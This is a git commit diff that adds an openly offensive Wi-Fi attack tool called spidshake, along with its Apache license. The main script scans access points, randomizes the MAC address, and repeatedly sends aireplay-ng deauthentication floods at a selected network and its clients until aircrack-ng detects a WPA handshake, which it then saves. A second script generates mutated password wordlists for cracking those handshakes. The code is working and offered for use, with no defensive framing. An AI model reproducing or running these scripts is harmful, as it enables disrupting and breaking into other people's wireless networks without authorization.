commit 1e594b939fd9e6ff14ae8a6de52807e252084252 Author: Bofh Date: Tue Sep 29 11:02:32 2020 +0200 initial commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..a01ee28 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +.*.swp diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..4ed90b9 --- /dev/null +++ b/LICENSE @@ -0,0 +1,208 @@ +Apache License + +Version 2.0, January 2004 + +http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, +AND DISTRIBUTION + + 1. Definitions. + + + +"License" shall mean the terms and conditions for use, reproduction, and distribution +as defined by Sections 1 through 9 of this document. + + + +"Licensor" shall mean the copyright owner or entity authorized by the copyright +owner that is granting the License. + + + +"Legal Entity" shall mean the union of the acting entity and all other entities +that control, are controlled by, or are under common control with that entity. +For the purposes of this definition, "control" means (i) the power, direct +or indirect, to cause the direction or management of such entity, whether +by contract or otherwise, or (ii) ownership of fifty percent (50%) or more +of the outstanding shares, or (iii) beneficial ownership of such entity. + + + +"You" (or "Your") shall mean an individual or Legal Entity exercising permissions +granted by this License. + + + +"Source" form shall mean the preferred form for making modifications, including +but not limited to software source code, documentation source, and configuration +files. + + + +"Object" form shall mean any form resulting from mechanical transformation +or translation of a Source form, including but not limited to compiled object +code, generated documentation, and conversions to other media types. + + + +"Work" shall mean the work of authorship, whether in Source or Object form, +made available under the License, as indicated by a copyright notice that +is included in or attached to the work (an example is provided in the Appendix +below). + + + +"Derivative Works" shall mean any work, whether in Source or Object form, +that is based on (or derived from) the Work and for which the editorial revisions, +annotations, elaborations, or other modifications represent, as a whole, an +original work of authorship. For the purposes of this License, Derivative +Works shall not include works that remain separable from, or merely link (or +bind by name) to the interfaces of, the Work and Derivative Works thereof. + + + +"Contribution" shall mean any work of authorship, including the original version +of the Work and any modifications or additions to that Work or Derivative +Works thereof, that is intentionally submitted to Licensor for inclusion in +the Work by the copyright owner or by an individual or Legal Entity authorized +to submit on behalf of the copyright owner. For the purposes of this definition, +"submitted" means any form of electronic, verbal, or written communication +sent to the Licensor or its representatives, including but not limited to +communication on electronic mailing lists, source code control systems, and +issue tracking systems that are managed by, or on behalf of, the Licensor +for the purpose of discussing and improving the Work, but excluding communication +that is conspicuously marked or otherwise designated in writing by the copyright +owner as "Not a Contribution." + + + +"Contributor" shall mean Licensor and any individual or Legal Entity on behalf +of whom a Contribution has been received by Licensor and subsequently incorporated +within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of this +License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, +no-charge, royalty-free, irrevocable copyright license to reproduce, prepare +Derivative Works of, publicly display, publicly perform, sublicense, and distribute +the Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of this License, +each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, +no-charge, royalty-free, irrevocable (except as stated in this section) patent +license to make, have made, use, offer to sell, sell, import, and otherwise +transfer the Work, where such license applies only to those patent claims +licensable by such Contributor that are necessarily infringed by their Contribution(s) +alone or by combination of their Contribution(s) with the Work to which such +Contribution(s) was submitted. If You institute patent litigation against +any entity (including a cross-claim or counterclaim in a lawsuit) alleging +that the Work or a Contribution incorporated within the Work constitutes direct +or contributory patent infringement, then any patent licenses granted to You +under this License for that Work shall terminate as of the date such litigation +is filed. + +4. Redistribution. You may reproduce and distribute copies of the Work or +Derivative Works thereof in any medium, with or without modifications, and +in Source or Object form, provided that You meet the following conditions: + +(a) You must give any other recipients of the Work or Derivative Works a copy +of this License; and + +(b) You must cause any modified files to carry prominent notices stating that +You changed the files; and + +(c) You must retain, in the Source form of any Derivative Works that You distribute, +all copyright, patent, trademark, and attribution notices from the Source +form of the Work, excluding those notices that do not pertain to any part +of the Derivative Works; and + +(d) If the Work includes a "NOTICE" text file as part of its distribution, +then any Derivative Works that You distribute must include a readable copy +of the attribution notices contained within such NOTICE file, excluding those +notices that do not pertain to any part of the Derivative Works, in at least +one of the following places: within a NOTICE text file distributed as part +of the Derivative Works; within the Source form or documentation, if provided +along with the Derivative Works; or, within a display generated by the Derivative +Works, if and wherever such third-party notices normally appear. The contents +of the NOTICE file are for informational purposes only and do not modify the +License. You may add Your own attribution notices within Derivative Works +that You distribute, alongside or as an addendum to the NOTICE text from the +Work, provided that such additional attribution notices cannot be construed +as modifying the License. + +You may add Your own copyright statement to Your modifications and may provide +additional or different license terms and conditions for use, reproduction, +or distribution of Your modifications, or for any such Derivative Works as +a whole, provided Your use, reproduction, and distribution of the Work otherwise +complies with the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, any +Contribution intentionally submitted for inclusion in the Work by You to the +Licensor shall be under the terms and conditions of this License, without +any additional terms or conditions. Notwithstanding the above, nothing herein +shall supersede or modify the terms of any separate license agreement you +may have executed with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade names, +trademarks, service marks, or product names of the Licensor, except as required +for reasonable and customary use in describing the origin of the Work and +reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or agreed to +in writing, Licensor provides the Work (and each Contributor provides its +Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +KIND, either express or implied, including, without limitation, any warranties +or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR +A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness +of using or redistributing the Work and assume any risks associated with Your +exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, whether +in tort (including negligence), contract, or otherwise, unless required by +applicable law (such as deliberate and grossly negligent acts) or agreed to +in writing, shall any Contributor be liable to You for damages, including +any direct, indirect, special, incidental, or consequential damages of any +character arising as a result of this License or out of the use or inability +to use the Work (including but not limited to damages for loss of goodwill, +work stoppage, computer failure or malfunction, or any and all other commercial +damages or losses), even if such Contributor has been advised of the possibility +of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing the Work +or Derivative Works thereof, You may choose to offer, and charge a fee for, +acceptance of support, warranty, indemnity, or other liability obligations +and/or rights consistent with this License. However, in accepting such obligations, +You may act only on Your own behalf and on Your sole responsibility, not on +behalf of any other Contributor, and only if You agree to indemnify, defend, +and hold each Contributor harmless for any liability incurred by, or claims +asserted against, such Contributor by reason of your accepting any such warranty +or additional liability. END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + +To apply the Apache License to your work, attach the following boilerplate +notice, with the fields enclosed by brackets "[]" replaced with your own identifying +information. (Don't include the brackets!) The text should be enclosed in +the appropriate comment syntax for the file format. We also recommend that +a file or class name and description of purpose be included on the same "printed +page" as the copyright notice for easier identification within third-party +archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); + +you may not use this file except in compliance with the License. + +You may obtain a copy of the License at + +http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software + +distributed under the License is distributed on an "AS IS" BASIS, + +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + +See the License for the specific language governing permissions and + +limitations under the License. diff --git a/README.md b/README.md new file mode 100644 index 0000000..db4a657 --- /dev/null +++ b/README.md @@ -0,0 +1,3 @@ +# spidshake + +Fastest WPA handshake capturing tool ever made \ No newline at end of file diff --git a/spidshake.py b/spidshake.py new file mode 100755 index 0000000..c385df9 --- /dev/null +++ b/spidshake.py @@ -0,0 +1,352 @@ +import xml.etree.ElementTree as ET +import prettytable +import subprocess +import threading +import argparse +import time +import xml +import sys +import os +import re + +# default values +gaps = None +TDIR = '/tmp/wcrack' +TARGS = None +TVARS = { + 'handshake': False +} + +def she(c,debug=False): + try: + return subprocess.check_output(c,shell=True).decode('utf8','ignore').strip() + except Exception as e: + if debug: + print(str(e)) + return None + +def main(): + # yes, we use a global variable + # to get the program arguments + global TARGS + parser = argparse.ArgumentParser(description='The faster WPA Handshake capturer on Kali') + parser.add_argument('--dry-run', action='store_true', help="Don't do deauth attacks, just show how it would run") + parser.add_argument('-m', '--random-mac', action='store_true', help="Randomize your MAC address at start (keeping vendor bits)") + parser.add_argument('-fa', '--force-attack', action='store_true', help="Deauths the AP before looking for connected clients") + parser.add_argument('-f', '--force', action='store_true', help='Continue on program exceptions that might ocurr, but are not critical') + parser.add_argument('-ex', '--exclude-conf', action='store_true', help="Exclude ESSIDs by regex reading /etc/spidshake/exclude.conf") + reqgroup = parser.add_argument_group('required arguments') + reqgroup.add_argument('-i','--interface', type=str, required=True, help="Interface on monitor mode to be used") + parser.add_argument('-sm','--show-max', default=12, type=int, help="Maximum Access Points to display on screen") + TARGS = parser.parse_args(sys.argv[1:]) + + # make the tmp dir + os.system('mkdir -p {}'.format(TDIR)) + + # the netxml file to read + apdata = [] + nxmlfile = '{}/airodump-01.kismet.netxml'.format(TDIR) + + # start dumping ap data + airodump_all() + + def render_access_points(apdata): + if len(apdata) > 0: + tb = prettytable.PrettyTable(['CH','BSSID','PW','C','#','ESSID']) + i = 0 + for ap in apdata: + tb.add_row([ap['channel'], ap['bssid'][-8:], \ + ap['signal'], len(ap['clients']), i, ap['essid']]) + i += 1 + print(tb) + + # show aps indefinetly + li = 0 + while True: + try: + # get access point data + apdata = get_ap_data(nxmlfile) + + os.system('clear') + render_access_points(apdata) + time.sleep(0.5) + li += 1 + + except KeyboardInterrupt: + # if no access points, we quit + if len(apdata) == 0: + return 0 + + # select the desired AP + os.system('clear') + render_access_points(apdata) + select = 0 + try: + select = int(input('[[ Select AP index ]]: ').strip()) + except ValueError: + continue + + # if index is correct, start attacking + if len(apdata) > 0 and select >= 0 and select < len(apdata): + ap_attack(nxmlfile, apdata, select) + airodump_all() + +def randomize_mac(): + if TARGS.random_mac: + os.system('ifconfig {} down'.format(TARGS.interface)) + # fully random macs don't usually work on deauthing, they are ignored + # so we set a fully random mac, but leaving the vendor bits unchanged + os.system('macchanger -r -e {} 2>&1 | tail -n1'.format(TARGS.interface)) + os.system('ifconfig {} up'.format(TARGS.interface)) + +# use airodump-ng to capture all APs in +# netxml format (2.4GHZ support only, yet) +def airodump_all(): + # yes, we kill all airodump-ng + os.system('pkill -9 airodump-ng') + os.system('rm {}/airodump* 2>/dev/null'.format(TDIR)) + os.system('airodump-ng {} -a -M -w {}/airodump --write-interval 1 --band a --output-format netxml --channel 1-14 -K 1 > /dev/null 2>&1 &'\ + .format(TARGS.interface, TDIR)) + +# use airodump-ng with bssid and channel config +# to get clients and attack easier and faster +# pcap format added to check handshakes +def airodump_bssid(bssid,channel): + # yes, we kill all airodump-ng + os.system('pkill -9 airodump-ng') + os.system('rm {}/airodump* 2>/dev/null'.format(TDIR)) + os.system(""" +airodump-ng {} --bssid {} -a -M -w {}/airodump --write-interval 1 --band a --cswitch 2 --output-format pcap,netxml --channel {} -K 1 > /dev/null 2>&1 & +""".format(TARGS.interface, bssid, TDIR, channel)) + +# filter ap by bssid in aps +def ap_get_by_bssid(aps, bssid): + for ap in aps: + if ap['bssid'] == bssid: + return ap + return None + +# do the access point attack +def ap_attack(f, aps, index): + global thstop + global atls + hashake = False + thstop = False + thattack = None + atls = [] + try: + sap = aps[index] + + # start capturing bssid traffic with specific channel + airodump_bssid(sap['bssid'], sap['channel']) + while True: + try: + # ap index will certainly change in our implementation + # we need to search the new given aps to match bssid + ap = aps[index] + if ap['bssid'] != sap['bssid']: + ap = ap_get_by_bssid(aps, sap['bssid']) + except IndexError: + ap = ap_get_by_bssid(aps, sap['bssid']) + if ap is None: + print('FATAL: cannot retrieve AP data!') + return 1 + + # print the ap details and + # the connnected clients + os.system('clear') + if (TARGS.force_attack and thattack is None) or (len(ap['clients']) > 0 and thattack is None): + thattack = threading.Thread(target=ap_attack_do_clients) + thattack.start() + + print('>>>>>>>>') + print('{}; channel: {}'.format(ap['essid'], ap['channel'])) + print('{}\t{}\t{}'.format(ap['bssid'], ap['signal'], ap['vendor'])) + for cli in ap['clients']: + print('--¬ {}\t{}\t{}'.format(cli['mac'], cli['signal'], cli['vendor'])) + + # print attack info lines + print() + for l in atls: + print(l) + + # check for handshake + if TVARS['handshake']: + hsfile = 'hs/handshake_{}.cap'.format(sap['essid']) + os.system('mkdir -p hs/') + os.system("cp {}/airodump-01.cap '{}'".format(TDIR, hsfile)) + input('## handshake: YES / saved on {}'.format(hsfile)) + TVARS['handshake'] = False + thstop = True + return 0 + + # sleep and re-obtain, show handshake status + print('## handshake: {}'.format('NO' if not TVARS['handshake'] else 'YES')) + time.sleep(0.5) + aps = get_ap_data(f) + global gaps + gaps = aps + + # don't know why i did this, but works? + while len(aps) == 0: + aps = get_ap_data(f) + time.sleep(0.5) + + except KeyboardInterrupt: + thstop = True + print('INFO: returing to ap listing') + time.sleep(1) + +# thread to attack clients and ap +# while showing them in the main thread +def ap_attack_do_clients(): + global thstop + global gaps + global atls + atls = [] + hashake = False + while True: + if not gaps is None and not len(gaps) == 0: + break + time.sleep(0.5) + if thstop: + return 0 + + # explanation: + # attack n times, each n seconds + # @ An array of values + times = [ + [1,6], + [2,15], + [2,20], + [3,30], + [3,45], + [4,60] + ] + + # do it all, baby + for ti in times: + gap = None + if len(gaps) == 1: + gap = gaps[0] + if gap is None: + print('FATAL: no access point or clients to attack') + return 1 + + randomize_mac(); time.sleep(0.5) + execrt('aireplay-ng --ignore-negative-one -0 {} -a {} {} 2>&1 &'.format( ti[0], gap['bssid'], TARGS.interface )) + atls.append('== deauth {} broadcast => {}'.format(ti[0], gap['bssid'])) + for cl in gap['clients']: + if cl['signal'] < 0: + execrt('aireplay-ng --ignore-negative-one -0 {} -a {} -c {} --deauth-rc=2 {} 2>&1 &'.format(\ + ti[0], gap['bssid'], cl['mac'], TARGS.interface )) + atls.append('== deauth {} client {} {}'.format(ti[0], cl['mac'], cl['vendor'])) + else: + atls.append('== deauth client skip {} {}'.format(cl['mac'], cl['vendor'])) + i = 0 + while i < ti[1]: + print('{}/{}'.format(i+1,ti[1])) + if ap_check_has_handshake(): + TVARS['handshake'] = True + return 2 + time.sleep(1) + if thstop: + return 0 + i += 1 + + atls.append('FATAL: Attack did not succeed') + +def execrt(cmd): + if not TARGS.dry_run: + os.system(cmd) + return 'X: {}'.format(cmd) + +def ap_check_has_handshake(): + try: + out = subprocess.check_output(\ + "aircrack-ng {}/airodump-01.cap 2>/dev/null | grep -o -P '\d+(?=\shandshake)'".format(TDIR), shell=True)\ + .decode('utf8','ignore').strip() + return int(out) > 0 + except FileNotFoundError: + return False + except subprocess.CalledProcessError: + return False + +# get all access point data needed (including associated clients) +def get_ap_data(f): + + c = None + try: + c = open(f,'r').read() + # sanitize xml (improper essids...) + c = re.sub(r'(?<=\&\#[^\s])\s+(?=[^\s]+;)','',c) + c = re.sub(r'\&\#[^;]+;','',c) + root = ET.fromstring(c) + except FileNotFoundError as e: + return [] + except xml.etree.ElementTree.ParseError as e2: + if TARGS.force: + return [] + if not str(e2).startswith('no element found'): + print(str(e2)) + sys.exit(1) + return [] + + js = [] + + # iterate all network access points + exclude = [] + if TARGS.exclude_conf: + try: + with open('/etc/spidshake/exclude.conf','r') as r: + exclude = r.read().strip().splitlines() + except FileNotFoundError: + exclude = [] + def is_excluded(essid, exls): + for reg in exls: + if re.match(reg, essid): + return True + return False + + for net in root.findall('wireless-network'): + if net.find('SSID'): + item = { + 'essid': net.find('SSID').find('essid').text, + 'bssid': net.find('BSSID').text, + 'vendor': net.find('manuf').text, + 'channel': int(net.find('channel').text), + 'beacons': int(net.find('SSID').find('packets').text), + 'enctypes': [it.text for it in net.find('SSID').findall('encryption')], + 'signal': int(net.find('snr-info').find('last_signal_dbm').text), + 'clients': [], + } + + if len(item['enctypes']) == 1 and item['enctypes'][0] == 'None': + continue + + for cli in net.findall('wireless-client'): + client = { + 'mac': cli.find('client-mac').text, + 'vendor': cli.find('client-manuf').text, + 'channel': int(cli.find('channel').text), + 'signal': int(cli.find('snr-info').find('last_signal_dbm').text), + } + item['clients'].append(client) + item['clients'] = sorted(item['clients'], key=lambda x: x['signal'], reverse=True) + + if not item['essid'] is None: + if not TARGS.exclude_conf or not is_excluded(item['essid'], exclude): + js.append(item) + + # order them by signal (dBm) + js = sorted(js, key=lambda x: x['signal'], reverse=True) + if len(js) > TARGS.show_max: + return js[:TARGS.show_max] + return js + +if __name__ == '__main__': + try: + main() + os.system('pkill -9 airodump-ng') + except KeyboardInterrupt: + print('INFO: aborted') diff --git a/tools/pwgenlist.py b/tools/pwgenlist.py new file mode 100755 index 0000000..51a8d0e --- /dev/null +++ b/tools/pwgenlist.py @@ -0,0 +1,152 @@ +import itertools +import argparse +import datetime +import sys +import os +import re + +def main(): + # argparse ftw + parser = argparse.ArgumentParser(description='Easiest WPA password generator') + reqgroup = parser.add_argument_group('required arguments') + reqgroup.add_argument('-i','--input', required=True, type=str, nargs='+', metavar='FOO,BAR', help="Comma separated strings of possible combinations. Ex: -i foo,bar raw,nobar") + parser.add_argument('-s', '--symbols', action='store_true', help="Include common symbols on common places") + parser.add_argument('-n', '--numbers', action='store_true', help="Include common numbers on the common places (such as 2018, 123, 12345)") + parser.add_argument('-l', '--level', type=int, default=1, choices=(1,2,3), metavar='N', help="Password level of complexity, 1 = only lower+upper, 2 = lower+upper+capital, 3 = lower+upper+capital+hackerize") + parser.add_argument('-o', '--output', type=str, metavar='OUT', help="Output file where to save the wordlist (default: stdout)") + args = parser.parse_args(sys.argv[1:]) + + wf = None + ostd = sys.stdout + if not args.output is None: + wf = open(args.output, 'w') + sys.stdout = wf + generate_wordlist(args) + if not wf is None: + sys.stdout = ostd + wf.close() + +# main generator function +# basically, every print(something) will be saved to +# either the output file, or the stdout +def generate_wordlist(args): + def rnd_symbols(w): + for r in '@$?%&#': + if '@' in w: + print(w.replace('@',r)) + for it in args.input: + pms = [] + bcs = [] + for word in it.split(','): + bcs.append(generate_base_words(word, args.level)) + nums = get_common_numbers() + get_lastnyears(20) + get_numrange(100) + for it in itertools.product(*bcs): + it = list(it) + opts = [] + for cit in itertools.permutations(it,len(it)): + opts.append(cit) + if args.symbols or args.numbers: + oit = it.copy() + if args.numbers: + li = oit.copy() + li.append('#'); it.append('#') + for cit in itertools.permutations(li,len(li)): + opts.append(cit) + if args.symbols: + li = oit.copy() + li.append('@'); it.append('@') + for cit in itertools.permutations(li,len(li)): + opts.append(cit) + for cit in itertools.permutations(it,len(it)): + opts.append(cit) + opts = sorted(set(opts)) + for it in opts: + cit = ''.join(it) + if '#' in it: + for n in nums: + cc = cit + cc = cc.replace('#',str(n)) + print(cc.replace('@','')) + rnd_symbols(cc) + if '@' in it and not '#' in it: + rnd_symbols(cit) + +# gets combinations with replacement +# of 0,1 for the given word, to replace later +def true_false_combinations(word): + a = False; pm = [] + for c in word: + a = not a; pm.append(not a) + return itertools.combinations_with_replacement(pm,len(word)) + +# generate base words for given word, +# with the given complexity level +def generate_base_words(word, clevel): + bc = [] + bc.append(word.lower()) + bc.append(word.upper()) + if clevel >= 2: + bc += generate_all_capitalizations(word) + if clevel >= 3: + nw = [] + for b in bc: + nw += generate_all_hackerization(b) + nw = sorted(set(nw)) + bc += nw + return sorted(set(bc)) + +# generate all possibilities with capital letters +# with the given word, combining all with replacements +def generate_all_capitalizations(word): + rs = [] + for bls in true_false_combinations(word): + w = word.lower(); i = 0 + for b in bls: + if b: + w = w[:i] + w[i].upper() + w[i+1:] + i += 1 + rs.append(w) + return sorted(set(rs)) + +# generate all hackerization possibilities with given word +# hackerization means replacing: A = 4, S = 5, E = 3, I = 1 +def generate_all_hackerization(word): + def hackerize(c): + cl = c.lower() + mp = {'a':4,'s':5,'e':3,'i':1,'o':0} + return str(mp[cl]) if cl in mp else c + rs = [] + for bls in true_false_combinations(word): + w = word; i = 0 + for b in bls: + if b: + w = w[:i] + hackerize(w[i]) + w[i+1:] + i += 1 + rs.append(w) + return rs + +# common numbers used on password +def get_common_numbers(): + return ['123','1234','135','12345','123456','1234567890','098','09876','0987654321'] + +# get the last N years in time +def get_lastnyears(n): + y = datetime.datetime.now().year + ys = [] + ys.append(y+1) + for i in range(0,n): + ys.append(y-i) + return ys + +# get a number range from 0 +def get_numrange(ln): + ns = [] + for i in range(0,ln): + ns.append(i) + return ns + +if __name__ == '__main__': + try: + main() + except BrokenPipeError: + pass